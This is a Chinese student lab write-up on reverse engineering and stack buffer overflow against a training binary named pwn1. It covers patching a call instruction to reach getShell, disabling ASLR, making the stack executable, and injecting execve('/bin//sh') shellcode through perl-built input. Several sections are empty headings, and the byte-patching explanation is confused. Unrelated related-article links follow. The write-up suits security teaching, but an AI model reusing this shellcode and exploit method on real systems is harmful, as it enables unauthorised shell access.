1. 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

1.2实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

1.3 基础知识

1.3.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:机器码:90。类似一个空指令,执行时CUP什么都不做,执行过这条指令在执行下一条指令。
JNE:机器码:75。如果条件不相等跳转到要跳转的位置。
JE:机器码:74。如果条件相等则跳转。
JMP:机器码:EB。直接跳转到所需跳转的位置。
补:段内直接短转Jmp short 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
CMP:类似通过对操作数做减法来比较操作数的指令,只做比较不保存结果。会对标志寄存器产生影响。

1.3.2掌握反汇编与十六进制编程器

2. 直接修改程序机器指令,改变程序执行流程

实验点1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • cp pwn1 pwn2 拷贝pwn1为pwn2;
  • 使用objdump -d pwn2将pwn2反汇编;
  • vi pwn2进入编辑器,输入:%!xxd将显示模式切换为十六进制,准备进行修改;
  • 在底行模式输入/e8d7定位需要修改的地方,确认并按i进入插入模式,修改d7为c3;
    这部分的图没有截
  • 可找到80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令,这条指令就是在main函数中调用位于地址8048491处的foo函数,e8表示“call”,d7 ff ff ff是地址。因此,我们想让函数调用getShell,只需将其修改为c3 ff ff ff;
  • 输入:%!xxd -r将十六进制转换为原格式,再输入:wq!保存并退出;
  • 输入./pwn2,即运行修改后的代码,可以得到shell提示符;

3. 通过构造输入参数,造成BOF攻击,改变程序执行流

3.1 反汇编,了解程序的基本功能

3.2 确认输入字符串哪几个字符会覆盖到返回地址

截图:



3.3 确认用什么值来覆盖返回地址

3.4 构造输入字符串

截图:

4. 注入Shellcode并执行

一开始我只管输入execstack命令,系统一直提示无命令,后来才知道execstack命令需要安装,于是apt-get install execstack,终于可以使用execstack命令。

4.1 准备工作

  • 设置堆栈可执行:
    execstack -s pwn3 //设置堆栈可执行 execstack -q pwn3 //查询文件的堆栈是否可执行
  • 关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
    more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭 echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
    “2”为开启,“0”为关闭

    4.2 构造要注入的payload

    perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 在一个窗口运行(cat input_shellcode;cat) | ./pwn3
  • 在另外一个窗口ps -ef | grep pwn能看见当前运行pwn3的进程号为3094
  • 在gdb里面attach 3094进行调试
  • disassemble foo反编译
  • 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae
  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
  • 再在gdb调试的终端输入c继续运行程序
  • info r esp查看esp寄存器地址
  • x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容
  • 从上图中看到01020304所在的地址为0xbffff21c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xbffff21c + 0x00000004 = 0xbffff220。随后退出gdb调试。
  • 修改注入代码的覆盖地址
    perl -e 'print "A" x 32;print"\x20\xf2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 输入命令(cat input_shellcode;cat) | ./pwn4

2018-2019-2 网络对抗技术 20165321 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

随机推荐

  1. 微信支付现金红包接口应用实例代码说明和DEMO详解,适合用来做微信红包营销活动、吸粉利器

      本文详细介绍微信红包开发的接口,商户调用接口时,通过指定发送对象以及发送金额的方式发放红包,领取到红包后,用户的资金直接进入微信零钱.后面带有具体调用php实例   总结一下:需要注意的是PEM秘 ...

  2. logrotate命令

    logrotate是个十分有用的工具,它可以自动对日志进行截断(或轮循).压缩以及删除旧的日志文件,例如,你可以设置logrotate,让/var/log/foo日志文件每30天轮循,并删除超过6个月 ...

  3. 分享关于搭建高性能WEB服务器的一篇文章

    这篇文章主要介绍了Centos5.4+Nginx-0.8.50+UWSGI-0.9.6.2+Django-1.2.3搭建高性能WEB服务器的相关资料,需要的朋友可以参考下(http://m.0813s ...

  4. Servlet(六):Cookie

    Cookie 学习:问题: HTTP 协议是没有记忆功能的,一次请求结束后,相关数据会被销毁.如果第二次的请求需要使用相同的请求数据怎么办呢?难道是让用户再次请求书写吗?解决: 使用 Cookie 技 ...

  5. 2018-2019-1 20189201 《LInux内核原理与分析》第六周作业

    希望是美好的 但仅仅是所想 一.书本第五章知识总结[系统调用的三层机制(下)] 深入理解系统调用的过程 system_call并不是一个普通的函数,只是一段汇编代码的起点,且内部没有严格遵守函数调用堆 ...

  6. Node.js c++ 扩展之HelloWorld

    测试环境 vs:vs2017 node.js:9.9.6 相关地址 官方文档对应地址:https://www.nodejs.org/api/addons.html 官方案例对应地址:https://w ...

  7. python与RabbitMQ

    RabbitMQ 前言 什么是MQ? MQ全称为Message Queue, 消息队列(MQ)是一种应用程序对应用程序的通信方法.应用程序通过读写出入队列的消息(针对应用程序的数据)来通信,而无需专用 ...

  8. Do-Now—团队冲刺博客四

    各个成员今日完成的任务 侯泽洋:完成奖励页面设计,完成奖励从云端拉取到本地:完成奖励从云端拉取到本地 周亚杰:冲刺博客,个人中心设计(未完成) 王志伟:积分页面设计:积分页面设计 仇夏:树苗成长过程设 ...

  9. JavaScript(三)

    函数 函数就是重复执行的代码片. 函数定义与执行 <script type="text/javascript"> // 函数定义 function aa(){ aler ...

  10. Angularjs判断页面是否已经渲染结束(动态给标签长度)

    相信大家都会碰到这样的问题.页面循环li.但是因为个数不知道.没有办法给li设置固定宽度.那么这时就需要动态计算数据长度并动态改变li的宽度 <!--周边信息--> <div cla ...